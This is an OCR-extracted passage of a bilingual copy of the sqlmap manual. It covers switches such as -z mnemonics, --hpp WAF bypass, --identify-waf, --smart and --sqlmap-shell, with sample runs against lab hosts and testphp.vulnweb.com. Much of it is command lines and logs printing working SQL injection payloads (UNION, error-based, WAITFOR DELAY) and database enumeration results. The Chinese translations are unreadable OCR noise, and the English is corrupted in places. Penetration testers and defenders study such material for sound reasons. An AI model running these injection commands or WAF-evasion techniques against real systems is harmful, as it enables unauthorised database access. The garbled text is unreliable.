<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'

[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC
ers (Ox80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number
out of range of the number of items in the select list.
<b>/sgqlmap/mssql/iis/get_int.asp, line 27</b>’

[xx:xx:17] [INFO] parsed error message: ‘Microsoft OLE DB Provider for ODBC
ers (@x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number
out of range of the number of items in the select 1list.
<b>/sgqlmap/mssql/iis/get_int.asp, line 27</b>'

[xx:xx:17] [INFO] target URL appears to have 2 columns in query

[...]

Save options in a configuration INI file

Option:

It is possible to save the command line options to a
configuration INI file. The generated file can then be edited
and passed to sqlmap with the option as explained above.

=>

A LA i AT P S BR A AE INTRC B SO R AT PUIE I - R AT Y B
L 45 9 5 TG B Y



Update sqlmap

Switch: --update

Using this option you can update the tool to the latest
development version directly from the Git repository
https://github.com/sglmapproject/sqglmap.git. You obviously need

Internet access.

If, for any reason, this operation fails, run git pull from
your sqglmap working copy. It will perform the exact same
operation of switch --update. If you are running sqglmap on
Windows, you can use the SmartGit

http://www.syntevo.com/smartgit/index.html client.

This is strongly recommended before reporting any bug to the

mailing lists http://www.sglmap.org/#ml
AT FEg! !
### R
Use short mnemonics

Option: -z

It could become tedious to type all desired options and
switches, especially for those that are used most often (e.g. -
-batch --random-agent --ignore-proxy --technique=BEU). There is
a simpler and much shorter way how to deal with that problem.

In sglmap it's called "mnemonics”.

=>

A REAR N T A AN TR 4 2 1 fir & B IXAR E B Bt — HER X - -batch --
random-agent --ignore-proxy --technique=BEU sqlmap%%]7ﬂ<*”fﬁﬁz33

5V 45 AR AR DR 3X A ) (sqlmap M i Bhid 2 2)

Each option and switch can be written in a shorter mnemonic
form using option -z, separated with a comma character (,),
where mnemonics represent only the first arbitrarily chosen

part of the original name. There is no strict mapping of


af://n3268

options and switches to their respective shortened
counterparts. Only required condition is that there is no other

option nor switch that has a same prefix as the desired one.

M-z R U A e ETHE o2 LUEE, #1700 Bidt
fE RSB FHIER LAY EERE AERMARKITS S Al
Hi 25 4 R A9k A7

> =
R
=
llc‘? ?tn?

Example:

$ python sqlmap.py --batch --random-agent --ignore-proxy --

technique=BEU -u "www.target.com/vuln.php?id=1"

can be written (one of many ways) in shorter mnemonic form like:

$ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u

"www.target.com/vuln.php?id=1"

Another example:

$ python sqlmap.py --ignore-proxy --flush-session --technique=U

--dump -D testdb -T users -u "www.target.com/vuln.php?id=1"

can be written in shorter mnemonic form like:

$ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users”

-u "www.target.com/vuln.php?id=1"

Alerting on successful SQL injection detection
I Option: --alert
Set answers for questions

Option: --answers

In case that user wants to automatically set up answers for
questions, even if --batch is used, using this option he can do
it by providing any part of question together with answer after
an equal sign. Also, answers for different question can be

split with delimiter character ,.


file:///C:/Users/ccccccc/AppData/Local/Temp/www.target.com/vuln.php?id=1
file:///C:/Users/ccccccc/AppData/Local/Temp/www.target.com/vuln.php?id=1
file:///C:/Users/ccccccc/AppData/Local/Temp/www.target.com/vuln.php?id=1
file:///C:/Users/ccccccc/AppData/Local/Temp/www.target.com/vuln.php?id=1

=>
A --vatchW R ETT LB FH--answers R EENEETFTERNEZR
LR LB S T AL R, R £ 2

Example against a MySQL target:

$ python sglmap.py -u
"http://192.168.22.128/sqglmap/mysqgl/get_int.php?id=1"--

technique=E --answers="extending=N" --batch

[xx:xx:56] [INFO] testing for SQL injection on GET parameter ‘id’
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL®. Do you

want to skip test payloads specific for other DBMSes? [Y/n] Y

[xx:xx:56] [INFO] do you want to include all tests for "MySQL' extending provide

d level (1) and risk (1)? [Y/n] N

[-..]

Make a beep sound when SQL injection is found

Switch: --beep

In case that user uses switch --beep he'll be warned with a
beep sound immediately when SQL injection is found. This is
especially useful when there is a large bulk list (option -m)
of target URLs to be tested.

=>

i - -peep WY I fik 7] BLLE /B SQLIAE A B IR I IE eI X A K& H FrURL
A7 0 X, B I fi o 00 A

Cleanup the DBMS from sqlmap specific UDF(s) and table(s)

Switch: --cleanup


http://192.168.22.128/sqlmap/mysql/get_int.php?id=1

It is recommended to clean up the back-end database management
system from sqlmap temporary table(s) and created user-defined
function(s) when you are done taking over the underlying

operating system or file system. Switch --cleanup will attempt

to clean up the DBMS and the file system wherever possible.

=>
XA ERIN--cleanuptl B BT BRAR UK T BFEENKER. Q2K udfE
faray
A

Check for dependencies

Switch: --dependencies

sqlmap in some special cases requires independent installation

of extra 3rd party libraries (e.g. options -d, switch --os-pwn

in case of icmpsh tunneling, option --auth-type in case of NTLM
HTTP authentication type, etc.) and it will warn the user only
in such special cases. But, if you want to independently check

for all those extra 3rd party library dependencies you can use

switch --dependencies.

=>

sqlmapfE I EMBERA THEHANE=ZFME Bl -d --os-pwnfHEIH
icmpsh J#IE --auth-type FMFIMINTLM HTTPINIFHE) AXEEBERTHSH

L BEiF A --dependencies RIFTHE

$ python sglmap.py --dependencies

[xx:xx:28] [WARNING] sqlmap requires 'python-kinterbasdb® third-party library in
order to directly connect to the DBMS Firebird. Download from http://kinterbasd
b.sourceforge.net/

[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Sybase. Download from http://pymssgl.sourcefo

rge.net/

[xx:xx:28] [WARNING] sqlmap requires ‘python pymysgl® third-party library in ord




er to directly connect to the DBMS MySQL. Download from https://github.com/peteh
unt/PyMySQL/

[xx:xx:28] [WARNING] sqlmap requires ‘python cx_Oracle' third-party library in o
rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour
ceforge.net/

[xx:xx:28] [WARNING] sqlmap requires 'python-psycopg2"' third-party library in or
der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p
sycopg/

[xx:xx:28] [WARNING] sqlmap requires 'python ibm-db® third-party library in orde
r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/
p/ibm-db/

[xx:xx:28] [WARNING] sqlmap requires ‘python jaydebeapi & python-jpype’ third-pa
rty library in order to directly connect to the DBMS HSQLDB. Download from https
://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/

[xx:xx:28] [WARNING] sqlmap requires 'python-pyodbc® third-party library in orde
r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc.
googlecode.com/

[xx:xx:28] [WARNING] sqlmap requires ‘python-pymssgl’ third-party library in ord
er to directly connect to the DBMS Microsoft SQL Server. Download from http://py
mssql.sourceforge.net/

[xx:xx:28] [WARNING] sqlmap requires 'python-ntlm' third-party library if you pl
an to attack a web application behind NTLM authentication. Download from http://
code.google.com/p/python-ntlm/

[xx:xx:28] [WARNING] sqlmap requires ‘websocket-client' third-party library if y

ou plan to attack a web application using WebSocket. Download from https://pypi.

python.org/pypi/websocket-client/

Disable console output coloring

Switch:



sglmap by default uses coloring while writting to console. In
case of undesired effects (e.g. console appearance of
uninterpreted ANSI coloring codes like
\x01\x1b[0;32m\x02[INFO]) you can disable console output
coloring by using this switch.

=>

sqlmap®BR At BL T (040 th A2 Bt fy 4 SR AR AS AR B0 (4 0038 4R °T BAE i
MIET--disable--coloring3k K M

Use Google dork results from specified page number

Option: --gpage

Default sqlmap behavior with option -g is to do a Google search
and use the first 100 resulting URLs for further SQL injection
testing. However, in combination with this option you can
specify with this option (--gpage) a page other than the first
one to retrieve target URLs from.

=>

RN T -g & T google M R IF M AT 100 N URLBEAT VE AN B A -~
gpage R Al LLE &€ F= AN 3K B H FRURL 1) 7L THI

Use HTTP parameter pollution

Switch: --hpp

HTTP parameter pollution (HPP) is a method for bypassing
WAF/IPS/IDS protection mechanisms (explained here
http://www.imperva.com/resources/glossary/http parameter pollut
ion hpp.html) that is particularly effective against ASP/IIS
and ASP.NET/IIS platforms. If you suspect that the target is
behind such protection, you can try to bypass it by using this
switch.

=>

HTTP S $i5 Je & — PP n] LLGE ik WAF /IPS/IDS I 7 ik fR Pk bk 21X 78 T Xt
ASP/IIS BL# &ASP.NET/IIS HE&MBHMEIER A M WRRWEE HREH TR
' (WAF/IDS/IPS) A4 R AT LUK

Make a through testing for a WAF/IPS/IDS protection



Switch: --identify-waf

sglmap can try to identify backend WAF/IPS/IDS protection (if
any) so user could do appropriate steps (e.g. use tamper
scripts with --tamper). Currently around 30 different products
are supported (Airlock, Barracuda WAF, etc.) and their
respective WAF scripts can be found inside waf directory.

=>

sqlmap Al LLiR G H H A5 A T A+ AWAF/IPS/IDSERY BATERE RS 30 /=& A
™ B AR IRAIWAF AR R fEwar H X T

Example against a MySQL target protected by the ModSecurity WAF:

$ python sqglmap.py -u
"http://192.168.21.128/sqlmap/mysqgl/get_int.php?id=1" --1i

dentify-waf -v 3

[xx:xx:23] [INFO] testing connection to the target URL

[xx:xx:23] [INFO] heuristics detected web page charset "ascii’

[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (Un
ited Security Providers)’

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application F
irewall (BinarySEC)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Applicatio
n Firewall (NetContinuum/Barracuda Networks)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application
Firewall (art of defence Inc.)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisc

o Systems)

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘TrafficShield (F5 Networks)

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Fi



http://192.168.21.128/sqlmap/mysql/get_int.php?id=1

rewall Enterprise (Teros/Citrix Systems)'

[xx:xx:23] [DEBUG]
amai Technologies)'

[xx:xx:23] [DEBUG]

checking for WAF/IDS/IPS

checking for WAF/IDS/IPS

irewall (Incapsula/Imperva)’

[xx:xx:23] [DEBUG]

checking for WAF/IDS/IPS

Firewall (CloudFlare)’

[xx:xx:23] [DEBUG]
irewall (Barracuda
[xx:xx:23] [DEBUG]
[xx:xx:23] [DEBUG]
ecurity (IBM)'
[xx:xx:23] [DEBUG]
[xx:xx:23] [DEBUG]
[xx:xx:23] [DEBUG]
[xx:xx:23] [DEBUG]
[xx:xx:23] [DEBUG]
ewall (Jiasule)’
[xx:xx:23] [DEBUG]
all (AQTRONIX)'
[xx:xx:23] [DEBUG]

[xx:xx:23] [DEBUG]

checking for WAF/IDS/IPS
Networks) '
checking for WAF/IDS/IPS

checking for WAF/IDS/IPS

product

product

product

product

product

product

'KONA Security Solutions (Ak

‘Incapsula Web Application F

'CloudFlare Web Application

'‘Barracuda Web Application F

'webApp.secure (webScurity)'

‘Proventia Web Application S

declared web page charset 'iso-8859-1°

page not found ( )
checking for WAF/IDS/IPS
checking for WAF/IDS/IPS

checking for WAF/IDS/IPS

checking for WAF/IDS/IPS

checking for WAF/IDS/IPS

checking for WAF/IDS/IPS

b Application Firewall (Trustwave)'

product
product

product

product

product

product

'KS-WAF (Knownsec)
'NetScaler (Citrix Systems)'

‘Jiasule Web Application Fir

‘WebKnight Application Firew

‘AppWall (Radware)

'ModSecurity: Open Source We

[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified ‘ModSecurity: Open Source Web Appli

cation Firewall (Trustwave)'. Please consider usage of tamper scripts (option '-

-tamper ')

Skip heuristic detection of WAF/IPS/IDS protection

Switch:




By default, sqglmap automatically sends inside one of starting
requests a dummy parameter value containing a deliberately
"suspicious"” SQL injection payload (e.g. ...&;foobar=AND 1=1
UNION ALL SELECT 1,2,3,table name FROM

information schema.tables WHERE 2>;1). If target responds
differently than for the original request, there is a high
possibility that it's under some kind of protection. In case of
any problems, user can disable this mechanism by providing
switch --skip-waf.

=>

BINT sqlmapHBNKIE—NEE NFAENSHAE M T SQLVE Apayload
R b R E AR N A RS SR A — B A H AR IR A W REAE R AR ORI T
IR A T AT S A - - skip-wa f BRI X AN B B

Imitate smartphone

Switch: --mobile

Sometimes web servers expose different interfaces toward mobile
phones than to desktop computers. In such cases you can enforce
usage of one of predetermined smartphone HTTP User-Agent header
values. By using this switch, sglmap will ask you to pick one
of popular smartphones which it will imitate in current run.

=5

A LE I we b IR 55 45 7£# 3 i LA A PCim T A & AR 4 1 AR AT DU o X A4S i
I --mobile RIEFMREAHIFIHTTP User-Agentk FEFuWIF

Example run:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --

mobile


http://www.target.com/vuln.php?id=1

which smartphone do you want sqlmap to imitate through HTTP User-Agent header?

Apple iPhone 4s (default)
BlackBerry

Google Nexus

HP iPAQ

HTC Sensation

Nokia N97

Samsung Galaxy S

Work in offline mode (only use session data)

Switch: --offline

By using switch --offline sqlmap will use only previous session
data in data enumeration. This basically means that there will
be zero connection attempts during such run.

=>

R --offlinei® Tl sqlmap=fEH AT Ksession B SEAT MR X E K E X
RSP ASHEERE

Safely remove all content from output directory

Switch --purge-output

In case that user decides to safely remove all content from
output directory, containing all target details from previous
sglmap runs, he can use switch --purge-output. While purging,
all files from (sub)directories in folder output will be
overwritten with random data, truncated, renamed to random
names, (sub)directories will be renamed to random names too,

and finally the whole directory tree will be deleted.



=>

MR P RELE A Eoutput HX TR N B AT ) (B& ZATiE 17 HY B AR
HAE) B --purge-output BHATHWITH output Hx T WM <4 FE
PUEHATES ., il A Ead XA RAERSEWmL R H W 29 ER
AT W

Example run:

$ python sglmap.py --purge-output -v 3

[INFO] purging content of directory °‘/home/user/sqlmap/output®...

[DEBUG] changing file attributes

[DEBUG] writing random data to files

[DEBUG] truncating files

[DEBUG] renaming filenames to random values
[DEBUG] renaming directory names to random values

[DEBUG] deleting the whole directory tree

Conduct through tests only if positive heuristic(s)

Switch --smart

There are cases when user has a large list of potential target
URLs (e.g. provided with option -m) and he wants to find a
vulnerable target as fast as possible. If switch --smart is
used, only parameters with which DBMS error(s) can be provoked,
are being used further in scans. Otherwise they are skipped.

=>

ARREH P RME 7 RER HARURLEEAT I (B s A -n) I H A8 A v 3R E 3
A IR FURLES IR AEA 1 --smartiE T R A H ISR E IR S804 20
A7 A5 T2 Bk itk 2



Example against a MySQL target:

$ python sglmap.py -u

n

http://192.168.21.128/sglmap/mysqgl/get _int.php?

ca=17&user=foo0&id=1" --batch --smart

] [INFO] testing if GET parameter ‘ca’ is dynamic

] [WARNING] GET parameter ‘ca' does not appear dynamic

] [WARNING] heuristic (basic) test shows that GET parameter ‘ca' might

injectable

] [INFO] skipping GET parameter ‘ca’
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter ‘user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter ‘user' migh
t not be injectable
[xx:xx:14] [INFO] skipping GET parameter ‘user’
[xx:xx:14] [INFO] testing if GET parameter 'id’ is dynamic
[xx:xx:14] [INFO] confirming that GET parameter "id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter ‘id‘
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause’
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable

[xx:xx:14] [INFO] testing "'MySQL >= 5.8 AND error-based - WHERE or HAVING clause



http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1

[xx:xx:14] [INFO] GET parameter 'id' is "MySQL >= 5.8 AND error-based - WHERE or
HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL inline queries’
[xx:xx:14] [INFO] testing "MySQL > 5.0.11 stacked queries’
[xx:xx: [INFO] testing ‘MySQL < 5.8.12 stacked queries (heavy query)’
[INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xxzxx: [INFO] GET parameter ‘'id’' is 'MySQL > 5.0.11 AND time-based blind' in

jectable

[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns’

[xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test

[xx:xx:24] [INFO] target URL appears to have 3 columns in query

[xx:xx:24] [INFO] GET parameter 'id' is ‘MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable

[...1

Select (or skip) tests by payloads and/or titles

Option --test-filter

In case that you want to filter tests by their payloads and/or
titles you can use this option. For example, if you want to
test all payloads which have rROW keyword inside, you can use --
test-filter=ROW.

=>

R AR M payload 48 FH 3 AP RE i€ B 77 AR AT AT 3% A i T
Example against a MySQL target:

$ python sglmap.py -u
"http://192.168.21.128/sglmap/mysgl/get _int.php?id=1" --batch -

-test-filter=ROW


http://192.168.21.128/sqlmap/mysql/get_int.php?id=1

[xx:xx:39] [INFO] GET parameter 'id' is dynamic

[xx:xx:39] [WARNING] reflective value(s) found and filtering out

[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')

[xx:xx:39] [INFO] testing for SQL injection on GET parameter 'id’

[xx:xx:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause

[xx:xx:39] [INFO] GET parameter 'id' is "MySQL >= 4.1 AND error-based - WHERE or
HAVING clause' injectable

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)2 [y/N1 N

sqlmap identified the following injection points with a total of 3 HTTP(s) reque

sts:

Place: GET
Parameter: id
Type: error-based

Title: MySQL »>= AND error-based - WHERE or HAVING clause

Payload: id=1 AND ROW(4959, )>(SELECT COUNT(*),CONCAT( , (SELEC

(e
ASE WHEN ( ) THEN 1 ELSE @ END)), ,FLOOR(RAND(©)*2))x FRO
M (S

ELECT UNION SELECT UNION SELECT UNION SELECT )a GROUP BY




In case that you want to skip tests by their payloads and/or
titles you can use this option. For example, if you want to
skip all payloads which have BENCHMARK keyword inside, you can
use --test-skip=BENCHMARK.

=>

XA RARAE BRI A R TR AR AT U A --test-skip
Interactive sqlmap shell

Switch: --sglmap-shell

By using switch --sglmap-shell user will be presented with the
interactive sglmap shell which has the history of all previous
runs with used options and/or switches:

=>

ffﬂq——sqlmap—shellﬁiﬁruJﬁfﬂSqlmapﬂg‘*4\§iziitGQShell

$ python sqlmap.py --sqlmap-shell

sqglmap-shell> -u "http://testphp.vulnweb.com/artists.php?

artist=1" --technique=BEU --batch

S Ry Y O | P

|| | | http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting at xx:xx:

[xx:xx:11] [INFO] testing connection to the target URL


http://testphp.vulnweb.com/artists.php?artist=1

[INFO] testing if the target URL is stable
[xxzxx: [INFO] target URL is stable
[xx:xx: [INFO] testing if GET parameter 'artist' is dynamic
[xxzxx: [INFO] confirming that GET parameter ‘artist' is dynamic
[xx:xx: [INFO] GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter ‘artist' might
be injectable (possible DBMS: 'MySQL')
[xx:xx:13] [INFO] testing for SQL injection on GET parameter ‘artist’
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for "MySQL' extending
provided level (1) and risk (1) values? [Y/n] Y
[xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause’
[xx:xx:13] [INFO] GET parameter ‘artist’' seems to be 'AND boolean-based blind -
WHERE or HAVING clause' injectable
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'’
[xx:xx:13] [INFO] testing "MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:13] [INFO] testing "MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL .1 OR error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (UPDATEXML)®
[xx:xx:14] [INFO] testing 'MySQL .5 AND error-based - WHERE, HAVING, ORDER B

Y or GROUP BY clause (EXP)'

[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E

XP)"
[xx:xx:14] [INFO] testing 'MySQL .5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (BIGINT UNSIGNED)'

OR error-based - WHERE, HAVING clause




IGINT UNSIGNED)'

[xx:xx:14] [INFO] testing "MySQL 4.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause’

[xx:xx: [INFO] testing "MySQL 4.1 OR error-based - WHERE, HAVING clause’
[xxzxx: [INFO] testing "MySQL error-based - WHERE or HAVING clause'

[xx:xx: [INFO] testing "MySQL 5.1 error-based PROCEDURE ANALYSE (EXTRACT
VALUE) *

[xx:xx: [INFO] testing "MySQL .0 error-based Parameter replace’

[xxzxx: [INFO] testing "MySQL .1 error-based - Parameter replace (EXTRACT
VALUE)

[xxzxx: testing .1 error-based - Parameter replace (UPDATEX
ML)

[xxzxx: [INFO] testing "MySQL .5 error-based - Parameter replace (EXP)
[xx:xx:15] [INFO] testing "MySQL .5 error-based Parameter replace (BIGINT
UNSIGNED) "

[xx:xx:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns’
[xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found

[xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test

[xx:xx:15] [INFO] target URL appears to have columns in query

[xx:xx:16] [INFO] GET parameter ‘artist® is ‘'Generic UNION query (NULL) - 1 to 2

columns® injectable

GET parameter ‘artist’' is vulnerable. Do you want to keep testing the others (if

any)? [y/N] N
sqlmap identified the following injection point(s) with a total of HTTP(s) re

quests:

Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause

Payload: artist=1 AND




Type: UNION query
Title: Generic UNION query (NULL) - 3 columns

Payload: artist=- UNION ALL SELECT CONCAT(

NULL,NULL

[xx:xx:16] [INFO] testing MySQL

[xx:xx:16] [INFO] confirming MySQL

[xx:xx:16] [INFO] the back-end DBMS is MySQL

web application technology: Nginx, PHP

back-end DBMS: MySQL >=

[xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com’

sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1"

(R Ry O o Py

|| | | http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting at xx:xx:

[xx:xx:26] [INFO] resuming back-end DBMS ‘mysql’

[xx:xx:26] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

Parameter: artist (GET)

Type: boolean-based blind




Payload: artist=1 AND

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: artist=- UNION ALL SELECT CONCAT(

NULL,NULL

[xx:xx:26] [INFO] the back-end DBMS is MySQL

[xx:xx:26] [INFO] fetching banner

web application technology: Nginx, PHP

back-end DBMS operating system: Linux Ubuntu

back-end DBMS: MySQL

banner: '5.1.73-6ubuntu6.10.04.1"'

[xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com’

sqlmap-shell> exit

Simple wizard interface for beginner users

Switch: --wizard

For beginner users there is a wizard interface which uses a
simple workflow with as little questions as possible. If user
just enters target URL and uses default answers (e.g. by
pressing Enter) he should have a properly set sqglmap run
environment by the end of the workflow.

=>

ST W2 T S B -—wizaralB I B A 7 R 6 B AR B
4 3K 52 Bt

Example against a Microsoft SQL Server target:

$ python sglmap.py --wizard



sqlmap/1.6-dev- - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting at xx:xx:

Please enter full target URL (-u): http:// /sgqlmap/mssql/iis/get_in
t.asp?id=

POST data (

Injection difficulty (

[1] Normal (default)

[2] Medium

[3] Hard

Enumeration (
[1] Basic (default)
[2] Smart

[3] All

sqlmap is running, please wait..

heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S

erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y

do you want to include all tests for ‘Microsoft SQL Server® extending provided 1
evel (1) and risk (1)? [Y/n] Y

GET parameter 'id"' is vulnerable. Do you want to keep testing the others (if any

)? [y/N] N




sqlmap identified the following injection points with a total of HTTP(s) requ

ests:

Place: GET

Parameter: id

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=1 AND

Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=1 AND =CONVERT(INT, (CHAR(58)+CHAR(118)+CHAR(114)+CHAR(1080)+C
HAR(58)+(SELECT (CASE WHEN ( ) THEN CHAR(42) ELSE CHAR(48) END))+CHAR(

)+CHAR(111)+CHAR (109 )+CHAR(113)+CHAR(58)))

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(118)+CHAR(114)+CHAR(

Y+CHAR (58)+CHAR (70) +CHAR(79 ) +CHAR (118 ) +CHAR( 106 )+CHAR (87) +CHAR(101) +CHAR(119)+

CHAR(115)+CHAR(114}+CHAR(77)+CHAR(58 )+CHAR (111 )+CHAR(109)+CHAR(113)+CHAR(58)

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries

Payload: id=1; WAITFOR DELAY '©:0:5"

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind

Payload: id=1 WAITFOR DELAY '@:0:5°

Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(58)+CHAR(118)+CHAR(114)+CHAR(160)+CHAR(58)+(SELECT

(CASE WHEN ( ) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR




web server operating system: Windows XP

web application technology: ASP, Microsoft IIS

back-end DBMS operating system: Windows XP Service Pack
back-end DBMS: Microsoft SQL Server

banner:

Microsoft SQL Server (Intel X86)

Oct
Copyright (c) Microsoft Corporation

Express Edition on Windows NT (Build : Service Pack 2)

current user:

current database: ‘testdb’

current user is DBA: True

[*] shutting down at xx:xx:
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